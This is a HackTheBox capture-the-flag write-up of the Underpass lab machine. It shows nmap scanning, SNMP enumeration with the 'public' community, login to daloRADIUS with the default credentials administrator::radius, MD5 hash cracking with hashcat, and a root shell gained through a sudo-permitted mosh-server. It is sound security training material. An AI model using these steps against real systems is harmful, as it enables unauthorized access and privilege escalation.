HackTheBox | Underpass

In this writeup, I demonstrate how to gain root level access to Underpass on HackTheBox.

HackTheBox | Underpass
Figure 1 - Underpass
Owned UnderPass from Hack The Box!
I have just owned machine UnderPass from Hack The Box

Reconnaissance

Started with an Nmap scan and specified the following options:

  • -sC to use default scripts
  • -sV to gather service/version information
  • -oA to save the output to a file
  • -p- to scan all TCP ports

Looking at the results, we see that there are only two ports open, TCP 22 and 80.

┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ target_ip=10.129.244.39

┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ target_domain=underpass.htb

┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ echo -e "$target_ip\t$target_domain" | sudo tee -a /etc/hosts
10.129.244.39	underpass.htb

┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 14:24 CDT
Nmap scan report for 10.129.244.39
Host is up (0.0097s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.17 seconds

Something commonly overlooked, at least for me, is the scanning of UDP ports. Nmap was run with the specified options:

  • -sU for UDP scan
  • -oA to save the output to a file
  • -T4 for a faster timing template, aka scan faster
  • -F to reduce the number of ports scanned from the top 1000 most common to the top 100.

Looking at the results, we see that there is only one open port, UDP 161.

┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ sudo nmap -sU -oA nmap/initial.udp -T4 -F $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 15:04 CDT
Nmap scan report for underpass.htb (10.129.244.39)
Host is up (0.010s latency).
Not shown: 62 open|filtered udp ports (no-response), 37 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 39.59 seconds

Initial Access

Before navigating to the target system's web server, I started Burp Suite to proxy all web requests. The default Apache2 page was seen. Not much could be done, so I ran a directory brute force in the background and pivoted to SNMP on UDP port 161.

Figure 2 - Apache2 Default Page
┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ feroxbuster -u http://$target_domain -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x php,html,asp,aspx,txt,config,pdf,doc
                                                                                                                                                                                                                                                              
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://underpass.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, asp, aspx, txt, config, pdf, doc]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      363l      961w    10671c http://underpass.htb/index.html
200      GET      363l      961w    10671c http://underpass.htb/
200      GET       22l      105w     5952c http://underpass.htb/icons/ubuntu-logo.png
[####################] - 2m    387117/387117  0s      found:3       errors:1      
[####################] - 2m    387072/387072  3574/s  http://underpass.htb/ 

The following command was run to collect additional information about the target system, and the following options were used:

  • -v to specify version 1 of SNMP
  • -c to specify the community string to query

Looking at the results, there is a mention of the target system being the "...only daloradius server in the basin!". DaloRADIUS is an advanced RADIUS web management application, and the source code is available on GitHub. The installation script sets various default values for variables, one of which is DALORADIUS_ROOT_DIRECTORY=/var/www/daloradius. Navigating to http://underpass.htb/daloradius gave a 403 error. This leads me to believe this is a fresh installation with the default configuration. After looking at the source code more, I found a couple of login pages, one of which was accessible. Not surprisingly, the default credentials administrator::radius worked.

┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ snmpwalk -v 1 -c public $target_ip .1
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (269124) 0:44:51.24
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (270373) 0:45:03.73
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 03 12 14 06 1C 00 2B 00 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 217
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB

Figure 3 - 403 Error Code
Figure 4 - DaloRADIUS Login.php
Figure 5 - DaloRADIUS Login Page

A RADIUS server provides centralized authentication, authorization, and accounting, so it is a prime target for credential access. Listing the users on the target system revealed the svcMosh user and their password. The password is not in plain text but is instead stored as an MD5 hash, which can be cracked quite easily. And just like that, I was able to access the target system via SSH.

Figure 6 - Users Listing
Figure 7 - User Details
┌─[us-dedivip-1]─[10.10.14.156]─[cspsec@htb-m8e3s92kan]─[~/my_data/Underpass]
└──╼ [★]$ hashcat hash.txt /usr/share/wordlists/rockyou.txt -m 0

Privilege Escalation

One of the first checks I do after landing on a target system, if I know a user's password, is to see if they are able to run anything with sudo. In this case, the svcMosh user is able to run /usr/bin/mosh-server. Mosh is a remote terminal application similar to SSH. I was able to start a Mosh server as root, and when you connect to it, you are provided a shell as root.

svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server
svcMosh@underpass:~$ sudo mosh-server new -p 61111


MOSH CONNECT 61111 VuqMNt2aCihZ6hus68dWoA

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 2184]

svcMosh@underpass:~$ MOSH_KEY=VuqMNt2aCihZ6hus68dWoA mosh-client 127.0.0.1 61111

References